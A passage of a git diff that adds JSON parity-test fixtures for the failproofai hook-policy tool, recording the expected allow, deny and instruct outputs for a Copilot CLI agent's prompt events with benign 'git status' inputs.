"hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..328f3207 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..13011d19 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..1ec3fb54 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..9fefac0c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f85bb37e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..513b4c7b --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..7258a861 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/deny__tool-present__one-policy.json new file mode 100644 index 00000000..3624d256 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/deny__tool-present__two-policies.json new file mode 100644 index 00000000..dc415185 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..fbb24984 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..5e6c02ae --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..e8481c40 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..eeb17a7c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..19f067d8 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d42732f7 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d19faae6 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..332f4027 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..03b438a9 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..5f7681d0 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": 